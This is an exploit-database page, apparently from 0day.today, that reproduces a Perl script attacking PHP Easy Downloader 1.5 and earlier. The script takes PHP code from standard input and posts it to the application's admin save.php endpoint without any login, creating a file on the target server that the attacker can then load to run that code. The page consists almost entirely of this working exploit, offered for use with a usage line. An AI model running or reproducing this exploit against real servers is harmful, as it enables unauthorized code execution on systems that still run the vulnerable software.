[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP Easy Downloader <= 1.5 Remote File Creation Exploit

Author
StAkeR
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-3917
Category
web applications
Date add
17-10-2008
Platform
unsorted
=======================================================
PHP Easy Downloader <= 1.5 Remote File Creation Exploit
=======================================================


#!/usr/bin/perl
# --------------------------------------------------------
# PHP Easy Downloader <= 1.5 Remote File Creation Exploit
# By StAkeR aka athos 
# On 17/10/2008
# http://www.hasemithut.de/downloads/index.php
# --------------------------------------------------------

use strict;
use LWP::UserAgent;

my $host = shift(@ARGV);
my $file = shift(@ARGV);
my $http = new LWP::UserAgent;

if($host !~ /^http:\/\/(.+?)$/ && $file !~ /(\w+)\.([a-zA-Z])?/)
{
  print "[?] PHP Easy Downloader <= 1.5 Remote File Creation Exploit\r\n";
  print "[?] Usage: perl $0 http://[host] [filename]\r\n";
  exit;
}

chomp(my $code = <STDIN>);

if($code !~ /(<\?php|<\?#)(.*?)\?>/)
{
  print "[?] You must insert PHP Code\r\n";
  exit;
}
  
my $post = $http->post($host.'/file_info/admin/save.php',
                       [
                        filename    => $file,
                        accesses    => $code.'//',
                      ]); 

if($post->is_success)
{
  if($post->as_string =~ /(Upload Date|Change Made!)/i)
  {
    print "[?] $host/file_info/descriptions/$file.0 Created\r\n";
    exit;
  }
  else
  {
    print "[?] Exploit Failed!\r\n";
    exit;
  }
} 


__END__



#  0day.today [2024-11-16]  #